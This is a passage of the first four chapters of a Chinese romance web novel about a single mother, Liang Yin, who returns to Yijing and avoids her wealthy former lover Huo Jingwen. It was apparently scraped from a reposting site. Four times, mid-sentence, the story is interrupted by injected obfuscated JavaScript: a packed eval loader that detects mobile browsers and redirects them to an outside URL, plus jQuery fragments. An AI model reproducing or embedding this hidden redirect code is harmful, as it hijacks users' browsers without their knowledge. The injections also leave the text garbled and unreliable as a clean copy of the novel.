《难追[久别重逢]》 1. 第 1 章 《难追》 如满月作品 晋江文学城独家发表 / 神明不该抛弃她的信徒。 否则信徒会生气,焦躁,嫉妒,发疯,直到神明又将他捡回家。 第1章 梁音以为这辈子都不会再见到霍景闻,没想到回宜京的第一天,就在机场碰见了他。 她正给女儿整理裤脚,抬起头就看到了从远处走过来的霍景闻。 他穿着一身黑衣西裤,走路带风,浑身上位者的冷感让他在热闹人群中也显得贵气疏离。 愣了一秒,连忙带着女儿走到一边的人群里,往出口走。 机场人潮汹涌,她带着孩子淹没在人海里。意意已经五岁了,很聪明,第一时间就发现了她情绪的变化。 “妈妈,你刚刚是在躲什么人吗?” “宝宝为什么这么问?” “因为你的神色很严肃,欠了一百万被债主追的那种严肃。妈妈,我们家是不是破产啦呜呜呜呜……”因为回国的事,五岁的梁从意非常有忧患意识的操心起了家里的财政。 “家里没有破产也没有欠债,宝贝不要担心。”梁音牵起女儿的小手往外走,轻声解释了一句,“妈妈看错人了,没事的。” 意意抬起头问:“是妈妈讨厌的人吗?” 看着女儿与他有七分像的眼睛,梁音不知道怎么说。 她不讨厌霍景闻。 只是觉得没有和他再见面的必要。 刚刚机场匆匆那一眼,他变了很多,黑色碎发落在锋利眉骨,在透过玻璃幕顶的阳光渲染下,看起来沉稳而淡漠,黑色的衬衫扣子松了两颗,白到冷感的锁骨上一颗红痣醒目又性感,狭长眼尾的弧度总是漫不经心,一米八九的身高鹤立鸡群,冷冽的气息似屏障隔绝了热闹的人群。可那张饱受上帝优待,英俊至极的脸却无时无刻不在吸引着众人的眼球。 他单手插兜,修长笔挺的腿大步往前走,矜贵与生俱来。 他变了很多,唯一没变的,大概就是那通身不把人放在眼里的傲慢。 谁能想到,这样一位高台明月,豪门继承人以前和她在一起时,竟然会穿着她在网上买的便宜白T,一百块三件。 “梁音,你虐待我,就给我穿这破烂?” 他很不满地提出过抗议。 但养一个男朋友的压力很大,养挑剔的男朋友压力尤其大。 梁音试图和他讲道理,讲勤俭节约是美德。 而他不讲道理,钻进她的被子里索要补偿。 他年轻气盛,一身漂亮精壮的肌肉,好像有用不完的精力…… 不像一般年轻人的自尊心比天高,他吃软饭吃得格外从容。 因为他就算穿着再便宜的衣服,也难掩气度,廉价的聚酯纤维穿在他身上都像是为他量身打造。是与生俱来的尊贵让他拥有了不会因为钱而感到难堪的底气。 贫穷不可能滋养出这样的雍容,梁音早就该想到。 恋爱一年,才知道自己的男朋友出身豪门,多么可笑。 曾经她是孤儿,他是没人管的穷小子,他们互相取暖互相依靠,坎坷又艰难的走了很久。 直到有一天霍家找上门来,小小的破旧的出租屋外依次停下流光溢彩的豪车,一字排开训练有素的保镖站在门外,恭敬地请他回霍家。 梁音才知道,他们从来不是同一种人。 她以为他们天作之合,互相温暖。到头来,只是豪门贵公子一场体验普通生活的游戏。 霍家,对上流社会贫瘠寡闻如她也如雷贯耳。只需一个姓氏无需多加描述就知显赫的顶级豪门望族。 “梁音,我是骗了你,可是你有损失什么?”他骗了她,依然高高在上,语气倨傲,“无偿得到一个有钱又爱你的男朋友,你应该高兴才对。” 梁音实在高兴不起来。 诚然,霍景闻从一个一无所有的穷小子变成了有钱的富二代,在所有人看来,就算她被欺骗,也没有损失什么。这最多,只是有钱人居高临下的一种试探而已。 她应该高兴可以不用再过苦日子。 就算她梁音曾经为了装穷的霍景闻,一边上学一边同时打两份工,省吃俭用,只为了能给受伤的他交上医药费,累到连自己生病买药吃都觉得奢侈,累到崩溃难言,咬牙坚持。这样的辛苦,也应该在巨大的财富面前,变得无关紧要,不值一提。 她的真心和付出,就只是豪门考核与验证的成果。 可是梁音没觉得被欺瞒不值一提,但她没有因此生气,只觉得无力。 孤女和穷小子可以互相搀扶走过一生,却高攀不起金字塔顶端的天之骄子。 就算她可以包容霍景闻的傲慢和欺骗,也没有攀附豪门的本事。 分手是她提的。 深思熟虑之后,这就是她和霍景闻最好的出路。 “梁音,你今天敢走出这个门,以后我们再无瓜葛。” 霍景闻冰冷的话言犹在耳。 他乔装成穷小子和她在一起一年,被拆穿后也有恃无恐,盛气凌人。就说明了他从心底里就没看上过她,认为她一个孤女能攀上他这位富公子就该感恩戴德,感激涕零。 可是若连爱人都无法尊重她,她又怎能期待霍家其他人会给她平等的对待。 不是不难过的。 但梁音走得坚定,没有回头看过一眼。 现实永远残忍,家世就是普通人永远无法跨越的鸿沟。 六年过去,他果然在锦绣财权里满身荣光,璀璨耀眼。 而她一个孤女在他漫长又璀璨的人生里,不过是一点微不足道的烛火,终将熄灭,淹没在岁月长河。有没有,都一样。 无足轻重,无关紧要。 梁音牵着女儿,头也没回,径直往出口走去。 一如当年。 萤萤微火,亦有广阔天地。 …… “妈妈,你牵着我走……” 一道稚嫩的童音消散在嘈杂的机场里。 阔步往前走的年轻男人忽然停下了脚步,回身看了一眼,看着眼前如潮水一般的人群,只有脚步匆促来往的旅客,好似刚才余光中一闪而过的身影只是他的错觉。 霍景闻深隽的眉骨沉了沉。 “小霍总,怎么了?”助理杨乾看见霍景闻忽然停下脚步,随着他的目光也看了过去。 都是人,没什么特别的。 霍景闻收回目光,棕色的瞳仁里透着厌倦,连声音都是冷意:“没什么,认错人了。” 他这几年,总是认错。 看到过很多张相似的脸,却没有一个是她。 “认错了?是好久不见的朋友吗?”不然怎么会认错。 “朋友么……”两句话让霍景闻垂在身下的手指紧绷,扯了扯嘴角,忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716413|189337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然哂笑了声,“可算不上。” 杨乾不敢说话了,深悔自己的多嘴。 这小霍总脾气可不怎么样,喜怒无常,整死人不偿命,出了名的不按常理出牌的疯子,连霍总都管不了他。 而且直觉告诉自己,不能继续问下去了。 * 梁音离开宜京那天下了一场雨,连空气里都绵延着湿凉,让人生郁。 回来这天倒是个好天气,微风徐徐,阳光正好。 刚出机场就接到了明颜的电话,电话里她的声音很激动:“音音,你到了没,今天店里没什么生意,早知道我就闭店来接你和宝贝意意了。” “别,开店不容易,还是做生意要紧。”梁音笑了笑,“我打车来就好。” “好吧好吧,等你哦,我晚上请你吃大餐庆祝你回国!” “好!” 梁音挂了电话,打开出租车后备箱,用力一提,就依次把两个28寸的行李箱举起放了进去。 刚下车准备帮忙的司机大叔看了白皙温丽的梁音一眼,忍不住说:“小姑娘看起来瘦弱,力气很大嘛。” 紧紧跟在妈妈身边的意意与有荣焉的说:“我妈妈很厉害的!” 小姑娘扎着两个可爱小丸子,漂亮得像花骨朵一样。 司机大叔又惊了一下,看着梁音说:“哟,年纪轻轻的就有这么大的孩子啦,我还以为是你妹妹呢。” 梁音习惯了,回了句:“生得早。” “小孩爸爸呢,你一个人带孩子啊?” 司机话音一落,就看见女人身旁漂亮的小孩眼巴巴地看着她妈妈,好像也在期待着答案。 原来是个单亲妈妈。司机一眼就看明白了,连忙闭嘴再没问什么。 这个年纪的小姑娘都很敏感的,都怪他刚刚多事了,好端端的问什么爸爸。 上了车以后,梁音给他报了手机尾号。 司机大叔没有继续问也让她松了一口气。 从女儿懂事起,梁音以离婚了这个理由来向女儿解释为什么她没有爸爸后,就很少对女儿说起这个话题。 女儿也很乖,从没有深入追问过。 司机看着后视镜,那小女孩乖乖的靠在妈妈身边,安安静静的,一点也不闹腾。心里叹息了一声,真是个懂事的孩子。 一个小时后出租车开到宜大校园后面的老街,明颜在这里开了一家甜品店。正值暑假,学生都放假回家了,街上没什么人。 行李箱滑轮在水泥地轮转,发出清晰的声音。 意意帮着妈妈一起推行李箱,快到甜品店门口,憋了很久心事的小孩终于认真的问出了口:“妈妈,你刚刚在机场是不是看到爸爸了?” 可是爸爸好像都没有看到她们,不然爸爸为什么不来抱意意。 梁音脚步一顿,正回信息的手指被震动得有点发麻。 她没想到女儿会这么敏锐。 “妈妈说和爸爸离婚了爸爸才不来看我。” 甜品店门口有个坡,意意用了吃奶的劲往前推行李箱,白净的脑门上都沁出了一层细汗,脸颊热得红通通的,也没把行李箱推上去。 小孩低着头丧气地说:“我好朋友nana的爸爸妈妈也离婚了,可是她爸爸就会回去看她,还给她买很多礼物。” “妈妈。” 小孩终于想明白了一件事,“是不是爸爸不要我了,才从来不来看我。” 2. 第 2 章 某种程度上来说,意意没有说错。 他确实不是被霍景闻期待出生的孩子,甚至霍景闻根本不知道有这个孩子。 梁音是离开宜京以后才发现自己怀孕了的,她很意外,又不算意外。 霍景闻年轻,欲望,精力十足,他们每天晚上有大半时间都在床上度过,戴了套,那么多次,也难免有意外。太激烈的时候,套还被弄破过。 没想到到最后竟然中奖了,还是在她和霍景闻分手的时候。 她是个孤儿,从小渴望家庭的温暖,很喜欢小孩子,可惜这个孩子来得不是时候。 她决心打掉。 她和霍景闻已经分手了,如果她生下这个孩子,是未婚生子,说难听点孩子生下来就是私生子。对霍景闻,对孩子,对她来说,都不是一件好事。 梁音第二天就去了医院,预约了人流手术。 第一次怀孕,摸着自己还未凸起的肚子,梁音竟然有点舍不得。如果这不是霍家长孙的孩子就好了,如果这只是她和她的穷小子男朋友的孩子,就好了。 再舍不得,她也告诉自己,还会有的,上天却和她开了一个玩笑。 她是很难受孕体质,子宫壁很薄,流掉这个孩子,她以后大概率不能再怀了。 一生再无法有个与自己血脉相连的孩子,这对梁音来说是不能承受的。 梁音不想给霍景闻带来麻烦,不想分手了还生下他的孩子。 可是原谅她的自私,为了自己,她得生下这个孩子。 意意是她一个人的宝贝,她会藏好一点,不告诉霍景闻,不会让霍家知道。 * “不是这样的宝宝……”梁音试图解释,又无处解释,最后说,“我和你爸爸离婚很久了,没有联系了,所以爸爸是没办法来看你。” 就算是谎言,梁音也不想让女儿觉得她是被丢弃的,不被爱的。 意意点点头:“原来是这样。” 听到门口有声音,坐在店里百无聊赖刷抖音的明颜惊喜地站起来,跑到店门口,就看到提着行李箱走进来的女人。 她们有六年不见了。 虽然她们在网络上经常联系,但隔着网线始终隔着一层,不能一起逛街,不能拥抱,不能躺在一张床上谈天说地。 梁音放下行李箱,抬起头来看她。挽在脑后的黑色长发被风吹得微乱,一双温柔的杏眼弯起来,如细绵春水一般绰约婉丽。 她身边还有个穿着牛仔外套很潮的漂亮小姑娘,抿着粉粉的薄唇,正吃力的拖着一个大行李箱。 明颜看看梁音,又看看意意,嚎了一声就去抱意意,“啊啊啊啊啊好萌啊我的意宝,姨姨终于见到你了好可爱呀你抱抱亲亲……” 意意努力从明颜的怀里挤出脑袋,顶着一脸的口红印,小大人一样叹气:“明颜阿姨,吃小孩是犯法的。” 意意很好哄。 明颜给她做了一碗杨枝甘露,成功把小姑娘哄得心花怒放不说,还打开她的小天才手表,要把她的压岁钱转一半给明颜买游戏道具。 这一大一小还是游戏搭子,天天一起玩消消乐。 “谁说小屁孩不好,小屁孩可太好了。”明颜感动得快要流眼泪。 “明颜阿姨,你的店里为什么没有客人呢?”意意吃着甜品四处望了望,空荡荡的。 明颜流宽面泪:“……” 这小鬼,消消乐玩多了观察力好强哦。 好吧,她承认,店里的生意是不太好,她可能坚持不了多久就要破产了——不,倒闭了。 不仅仅是暑假的原因。 学生多的时候,她这个店里人也寥寥无几,回头客也没几个。开到现在没倒闭是因为她太勤奋了。就比如现在,因为大半学生回家了,这一条街大半的店都关了,只有她每天□□的开着,没地方去的学生就会来她这里。 梁音知道明颜看上去大大咧咧,其实最要强,如果不是经营很困难,绝不会在人前透露出沮丧的。 想了想,梁音说:“我回来这段时间可能要麻烦你了,有时间的时候,我和你一起看店吧。” 她对国内的餐饮环境还需要考察一段时间,不会着急入职。 “真的吗,那太好了!”明颜失落的眼睛顿时一亮,面带欣喜。 如果音音在,那或许就有救了…… 话音刚落,门口气呼呼走进来两个女生。 “欢迎光临甜心小屋,桌子上有菜单哦,看看想吃什么。”明颜热情地迎了上去。 两个女生看起来是周边大学的学生,打扮得很精致。 其中一个圆圆脸女生坐下来就要点单,“夏夏,我看这家店还不错,坐下来一起点吧。” 那个叫夏夏的长发女生在对面坐下,捂了一下肚子后脸色更难看了,好像没看到身为店主的明颜就站在旁边,甚至连菜单都没看一眼就说:“在学校边开的店,都是些便宜货,能有什么好东西,你也敢吃?” “额……”圆圆脸女生赶紧推了推朋友的手臂,示意她老板就在边上,说这种话是要挨打的。 明颜就没见过这种没素质的人,忍不下这口气,虽然没有赶人,但也没有了服务的热情,放下菜单就走。 现在的大学生就这种素质,当着她的面蛐蛐。 她真后悔,为了贪图学生的流量,把店开在了学校周边。 她的东西都是每天天不亮自己现做的,挑的都是高品质的材料,价格就定的稍贵。大部分学生更倾向量大又实惠的,而有钱一点的学生又看不上她的档次,这就是为什么她的生意一直不好的原因。 尹夏被家里人训斥了本来就心情极差,看老板竟然当场给她们白眼,更不爽了:“说了句实话就对客人翻白眼,你什么态度?店里一个人都没有,想也知道做的东西有多难吃了,干脆关门吧阿姨!” 说完尤嫌不够,还想继续发泄怒气,就见一个皮肤很白,挺漂亮的一个女人来到身前,是那种淡淡的,没有任何攻击性又让人觉得温暖的漂亮。 但现在,外表与性格不符的人可太多了。 “你也是这家店的老板之一?生气了是吧,想赶我们出去?我告诉你惹了本小姐,这事就没完,等着被投诉吧。” “不是的同学,你们是客人,我怎么会赶你。”梁音缓声说,“刚才的事是我朋友的不对,我给你们道歉。” 听到梁音道歉,尹夏撇了撇嘴,没有罢休的意思:“先给客人一个白眼,再来假惺惺的道歉,你以为就能解决了么?真有意思。” “不是的。” “什么?” “不是假惺惺的道歉,是真心的。”梁音语气依然平缓,那双明润的眼眸里没有被挑衅的愠怒,只带着轻浅温和的笑意,看着尹夏认真地说,“我朋友性格有点直,不会说话,但她真的不是有意的,真是抱歉。你们放心,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716414|189337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们店里的甜品都是当天新鲜现做的,绝对不会有什么问题。今天闹了点误会,吃点甜的心情会好一点。两位漂亮的同学不介意的话,我请你们品尝一下我们店里的招牌,一食抿恩仇?” 梁音让明颜把孩子带进了后厨,这里她来解决。 圆脸的女生黄月闻言赶紧拉了拉尹夏。 本来就是她们有错在先,这老板道歉得够诚恳了。 “可以的,谢谢老板,麻烦你了哈。” 尹夏不情不愿的坐下来。 这老板真是花言巧语,别以为这样就能让她消气。 这种垃圾便宜货她才不吃。 端上来她就给她掀翻了。 尹夏心情不好,黄月说了很多话安慰她,不知不觉时间就过去了。 二十几分钟后梁音端上来两份甜品放在她们面前,乳白鎏金边的瓷盘上是一份……焦糖布丁?搭配了一杯茉莉冰茶? 尹夏看了一眼,立马笑了:“这就是你们店的招牌?一份平平无奇的焦糖布丁?怪不得你这个店没人来。” 最多就是这份焦糖布丁精致了点? 布丁像流心果冻一样还可口的晃动了两下,表面上的焦糖烤得色泽鲜亮诱人,融化的汁液往下流,被甜品师巧夺天工绘了几笔,就像是一扇用焦糖画成的枫叶,好看得像是艺术品。 面对尹夏的嘲讽,梁音没有恼,而是俏皮的眨了眨眼:“偷偷告诉你们,这是我的独家配方哦,外面没有的,要不要尝尝看呢?” 黄月一听连忙拿起勺子准备尝一口,不过她也没对这份焦糖布丁报以希望,这种简单的甜品味道都差不多。只是为了场面不那么难看尝一口而已。 一小勺布丁入嘴,先是焦糖的甜,然后是布丁的细腻,丝滑的口感就像最上等的丝绸,咬一口就要融化在嘴里,口齿又还留有焦糖的余香,令人吃了一口还想再吃一口。再挖一勺,露出了里面清甜的蜜桃果肉,用果香中和甜腻的奶香,搭配出了恰到好处的甜度和轻盈感。香而不甜,软而不腻!虽然仅仅只是一道简单的焦糖布丁,却能体现出甜品师对风味和口感的极致把控。 真……好吃! 黄月又喝了一口配的茉莉冰茶,整朵鲜艳的茉莉花堆叠在细腻的奶盖上,入口后花茶的冷,奶盖的柔,好似冰雪与春水的交融,妙不可言。 黄月大力夸奖:“好好吃!这是我吃过最好吃的焦糖布丁和茉莉花茶!” 尹夏看她那么夸张,不敢相信:“真的假的,你不会又开始胡吹了吧?” “真的好吃,不信你自己试试。” “要是不好吃,我就掀了这碗破东西。”尹夏勉强拿起面前的勺子,矜持的抿了一小口。 黄月紧紧盯着她,“怎么样?” 尹夏咽下嘴里的东西,过了两秒,精致的眉头皱了皱,表情有些不情愿。 “还行吧。” 而且,她面前的这杯茉莉花茶竟然是温的!也没有失去它的口感! 尹夏说还行那就是很满意了! 黄月很兴奋:“我说了吧,真的很好吃!简直不敢相信,一家开在学校周边的甜品店,能做出这么好吃的焦糖布丁,简直是宝藏啊。” 尹夏也不敢相信。 明颜这个时候抱着意意从厨房探出头来,很傲娇地炫耀:“那是当然了。我们音音可是一家顶级三星米其林餐厅的甜品主厨,能吃到她做的甜品,是你们的福气。” 3. 第 3 章 黄月忍不住“哇”了一声。 她实在没想到,就在学校周边一家小小的甜品店,会有米其林的厨师! 感觉天方夜谭,大材小用,杀鸡用宰牛刀似的。 尹夏明显也不信:“三星米其林的甜品主厨,在这家破店?开什么玩笑!” 她歪了歪头,看着梁音扯了扯嘴角:“姐姐,就算你做的东西还不错,但是不可以骗人哦。” 梁音:“姐姐不骗人。严格来说,是曾经是。” 后厨里烤箱“叮”了一声,烤好了。时间和食材有限,梁音简单做了两份曲奇饼干,打包好了放在两个女生面前。 “这是我们的一点心意,也是我们的道歉礼,请收下。” 把饼干推到尹夏面前,温声说,“做了减糖的,生理期吃一点甜品,不会胖的。” 尹夏脸悄然一红。 原来主厨姐姐看出来了。 所以主厨姐姐是特意做了一份温的茉莉花茶给她。 她这个人从小傲气,讨厌奉承,不喜欢收别人的东西。 看着面前那份包装精美的饼干,尹夏沉默了一秒,站起身来,语气依然不算好:“看在你们这么有诚意的份上,今天的事就算了。” 说完直接走出了甜品店,只是临走之前,还是把那份饼干拿走了。 黄月连声对梁音说了感谢,拿起饼干就要追上去。又回头夸了一句:“姐姐,你做的甜品真好吃,我们会再来的。” “好。” 梁音送她们离开后,明颜才从后厨走出来,还是有点气愤:“什么嘛,明明是她们先找事挑衅的,还给她们送饼干!亏死了!” “音音,这样下去我们会破产的!” 梁音拍了拍她的肩膀,让她不要急。 “颜颜,你不是担心没生意么,这两个女生一看就是周边学校的,而且家境不错,她们的阶层才是我们的目标客户。安抚好她们,给她们留下好印象才会自发帮我们宣传。以后会有更多的客人来的。” “哇……没想到短短时间你就想了那么多,我还以为你真纯纯当冤大头白送呢。” 明颜又想到一个问题,“但是你怎么知道她们家境不错?我看她们也没穿什么名牌啊。” 梁音看着门口已经离开的身影,这才说:“其实我见过那个叫夏夏的女生。” 明颜:“啊?” 梁音:“两年前她和父母来佛罗伦萨,去过我们餐厅。” 当时是由他们经理亲自接待的,可见家世不一般。 明颜恍然大悟。 原来如此。 “音音,多亏有你,你真是我的小福星,一回来就帮我解决了难题,爱死你了。”明颜黏糊糊的抱住梁音撒娇。 如果可以,她真的好想和音音永远在一起。 要是她不是该死的直女就好了! 这么好这么厉害的音音,有的人不懂珍惜,是他的损失。 收拾好餐具,明颜出来瞥了一眼旁边已经累到躺在椅子上睡着的意意,她放低了声音问:“你回来后,万一碰上那个人怎么办……毕竟他是意意的爸爸。” 梁音摇了摇头,“宜京那么大,我们又不是一个圈子里的人,没什么机会再见的。” “真不见他了?当初你明明那么喜欢他。” “颜颜,我和他已经分开很久了,再深的感情也谈了。” 而且,他应该不会想见到她吧…… 当年离开宜京,她删除了霍景闻所有的联系方式,换了卡,断得彻底,断得干净。 单方面结束了他们的关系,分开得算不上愉快。 他是高台明月,显赫贵子,高傲又不可一世,被她这种低微的孤女分手,就算会有一段时间的恼恨,但终究是微不足道,大概早就忘了她了。 现在她和他都有了各自的生活,因为意意,她更不希望再和他有任何牵连。 他们最好,永远不要再见。 明颜点点头,“也是,霍景闻这种公子哥最是眼高于顶的,傲得一批,而且我听说……” 霍家作为宜京的顶级豪门,一举一动都备受关注,明颜这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716415|189337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几年听说了不少霍家的事。 比如霍家两房争权,霍家长孙霍景闻手段狠辣,连亲堂弟也不放过,直接断了他的后路把他驱赶去了国外。最出名的还是一年前某个企业高管爆出的经济犯罪案,那高管最后从高楼一跃而下都上了新闻。听说也是霍景闻的手笔。那高管本是霍景闻手底下的人,出卖了霍氏重要的情报转身投靠他人……当然这些都是传闻,不知真假。 都说霍景闻是不折手段的疯子,行事无忌,睚眦必报,上流圈对他这种人都讳莫如深,避之不及,音音离开他的决定是正确的。 作为梁音曾经的同事,这么多年,明颜最佩服梁音的一点就是她实在太理智了。梁音对自己生活的规划做得很好。什么该要,什么该舍弃,她一直看得很清楚,很分明。 能付得出真心,也能狠下心断舍,温和也果决。 这样的人,走到哪里都会过得很好的。 既然梁音对那个霍景闻完全不在意了,明颜就没多聊。 就像她说得那样,霍景闻那个阶层是她们难以企及的,不会有机会再相见。 明颜转而和梁音聊起了意意上学的事。 得知梁音已经联系好幼儿园,还是高端的星星幼儿园,明颜简直佩服得五体投地。 怎么会有人这么厉害!所有事都规划得井井有条,周全完备! 两人聊了好一会儿,店里来了两个客人,才中断了聊天。 明颜去后厨准备甜品,梁音接到一个电话,起身去到门口接听…… 是快递小哥的电话,她从佛罗伦萨寄回来的东西到了。 忙着打电话,连梁音也没发现女儿这个时候偷偷睁开了眼睛,明亮的大眼睛里没有一点刚睡醒的迷茫。 她刚刚醒来就听到妈妈和明颜阿姨好像在讨论她的爸爸,她没有听得很清楚,但是听到了名字。 意意从自己的小包里找出一本小小的笔记本,笨拙的在纸上写下刚刚迷迷糊糊听到的名字: 火斤文。 爸爸没办法来看她,那她去看看爸爸好了。 4. 第 4 章 店里实在没什么生意,不到六点明颜就把店关了。 她帮梁音找好了房子,只是今天太晚了没时间搬家。吃完晚饭后先去她那里对付一晚,明天一早再去打扫。 经过长途飞行的意意累坏了,在店里又睡了一个多小时,梁音叫她起来时还哼哼唧唧的要她抱不肯醒。 软嘟嘟的小脸,大大的眼睛,眼尾带点上扬,有丹凤眼的影子,瞳孔是颜色稍浅的棕色,透亮似晶莹琥珀。虽然整体看上去更像梁音,但是唯独这双眼睛,像极了霍景闻。 她长长的眼睫一闪一闪,作为妈妈的梁音很少能抵抗女儿的撒娇,正要妥协去抱她,明颜已经受不了了,大呼一声“好可爱”上去把意意抱了起来:“我来抱我来抱。” 意意也很喜欢这个从小就和她视频的姨姨,热乎乎的脸蛋趴在明颜肩头,小手搂住她的脖子,睡得迷迷糊糊的忽然又挣扎着要起来:“我帮妈妈推……” 怕梁音一个人太辛苦,还惦记着推箱子。 奶香的呼吸落在耳边,明颜赶紧拍了拍她的背说:“明颜阿姨会帮忙,意意睡吧。” 意意这才安心地闭上眼睛。 明颜看着她白嫩的小脸,心都要融化了。 她忽然能够理解梁音独自生下孩子了。 有的小孩子真是来报恩的小天使。 …… 梁音在市中心的天星嘉华小区租了一套朝南的两室一厅。采光,环境都很好,阳台还带着一个小花园,物业管理很规范。 这样一套八十平的房子房租不会便宜,但对梁音来说算不上什么,她租在这里,是因为离意意的幼儿园近。 她联系的幼儿园是一所精英幼儿园,师资,教育,乃至环境都是顶好的,除了学费昂贵没有缺点。 这家幼儿园入园前要对孩子进行考核,意意在线上面试的时候表现得很好,会三国语言就让园长十分满意。再加上意意从小就聪明,学什么都快,面试的时候园长连连点头,当场就决定接收意意。 她的女儿从出生下来就是她的骄傲。 明颜帮她搬家一起整理东西,看到满墙都是意意的照片和梁音获得的荣誉,忍不住感叹。 梁音虽然一个人,可是她不仅事业发展得不错,女儿更是带得好,怎么会有这么能干的女人! 正在整理衣服的梁音闻言笑了笑,又看着踮着小脚要帮她把衣服放进柜子里的意意,满眼的满足幸福。 她的女儿真的很乖。 会说话以后就是个小天使,很少让她操心。她去上班,把女儿放进托儿所,她从来不闹,每天都乖乖的等她下班去接。 她乖乖吃饭,好好睡觉,才五岁的宝宝,看动画片都学会克制。 这也是她还有余力去经营事业的原因。 把衣服放进柜子里的意意又拖着一个玩偶跑过来,“妈妈,我的艾莎要放哪里,艾莎怕黑的,要放大一点的位置哦。” 梁音起身,帮她找到一个大的开放式柜格,“把艾莎放在这里行吗?” 意意叉着腰,抬起小脑袋审视了下,很满意。 “可以。” 收拾完东西快十一点了,意意从她的粉色花朵小包里找出两个棒棒糖,妈妈一个,明颜阿姨一个,然后又去包里翻,发现包里空空,小脸顿时沮丧起来,“啪叽”一下瘫在地板上:“可是意意没有了。” 小孩子就是小孩子,再乖也没办法掩藏情绪,当即就要哭出来。 看着这个变脸小意,明颜差点笑出声,连忙把她抱起来哄她:“意意别哭,阿姨的糖给你。” 意意垂涎的看着明颜手里的彩色棒棒糖,很想要,挣扎了好久狠心转头趴进明颜怀里,“给阿姨。” 说话算话,还挺大方的宝宝。 明颜又被这个可爱的小宝融化了,狠狠在她嫩嫩的小脸蛋上亲了一口。 “谢谢意意的糖,为了感谢意意,阿姨给你买很多糖好不好。” “真的吗?” “真的!阿姨什么时候骗过小孩。” …… 阿姨不仅不骗小孩,还有点溺爱小孩了。给意意买了一兜的糖不说,看着小孩儿崇拜的眼神,立马又去到卖彩虹糖的专卖店,失心疯一样拿起袋子就去哐哐拉糖豆。 如果不是梁音明智的摁住了她,她今天就得卖身在这里了。 午饭时间到了,梁音要去考察要入职的餐厅,便带他们打车去了菲尔纳丽。 “菲尔纳丽?”明颜惊呼了一声,“不是我们宜京最顶级的西餐厅之一吗,人均消费上千打底,他们给你发了offer啊?” 八月底的天气比较炎热,梁音给女儿换了身嫩绿色无袖吊带裙,再给她戴上同系列的小帽子,挂上她的花朵小包包,白白嫩嫩的宝宝,就像森林里童真的小精灵。 一边回答明颜的问题:“嗯,还有一家西餐厅也邀请我去担任甜品主厨,不过我之前一直在国外,不太了解具体情况,打算去实地考察一下再决定。” 而且她现在的情况,她暂时也没有决定好要不要尽快入职。 先去看看再说吧。 明颜:“哇塞,那我们今天有大餐吃了耶!” 意意也鼓掌欢呼:“耶!” * 菲尔纳丽不愧是宜京一等一的西餐厅,下车入目就是餐厅黑色鎏金的外墙,完美融合灯光,贵重又典雅。 走进双扇厚重的大门,门口的侍应生热情的迎接,走进用餐区,迎面而来,是一盏从二楼垂吊下来的水晶灯,餐厅内部空间很大,桌子摆放格局完全不拥挤,餐厅内采用的是欧洲古典风设计,从一桌一椅,到灯具餐具,都体现出厚重底蕴与华贵。 明颜还是第一次来这种高端西餐厅,一路走来不知道拍了多少张照片。 走到位置上,梁音先请服务员拿个儿童座椅过来,把女儿放下坐好,才翻开菜单。 她点了这家店的几样招牌甜品,一份给女儿吃的儿童意面套餐。 明颜翻开菜单,发现这里的每一道菜上的价格贵的她都快不认识现在的物价了,迟迟点不下手。 音音现在工作没定,有女儿要养,还要花一大笔钱买房子,就算有积蓄花太多钱也吃不消啊。 “没事,这些我还是请得起的。”梁音看她犹豫就说,“而且也不是白吃的,待会儿要给我味道反馈哦。” 每个甜品师都有自己独特的风格,餐厅与厨师之间不仅仅只是雇佣关系,更好匹配餐厅风格的厨师,效果会更上一层楼。这也是她为什么要来实地考察的原因之一。 过了一会儿他们点的东西陆续上了。 摆在梁音面前的三份招牌甜品:焦糖苹果挞,抹茶舒芙蕾,流心巴斯克。 “哇,好好看,好精致哦。”明颜忍不住拿起手机拍照。 拍完了心满意足开始品尝。 梁音问:“怎么样?” 明颜睁大眼睛:“好吃!” 又看看女儿。 意意挖了两勺,小眉头一紧,说:“没尝到味道,妈妈我再吃两口试试吧。” “小滑头,今天的甜食摄入已经够了,不能再吃了,”梁音移开甜品。 她也尝了,这三道甜品味道都很浓郁,入口绵密,确实很不错。 但正因为太浓郁,梁音尝到了一点浮躁和敷衍的味道。 看来这家餐厅的甜品主厨心已经不在这里了。 “您好,是Sherry女士吗,我是菲尔纳丽的经理沈浩,非常荣幸您来我们餐厅用餐。”面前忽然走来一个西装革履彬彬有礼的年轻男人。 “我们菲尔纳丽是非常有诚意邀请您加入的,如果您对我们餐厅感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 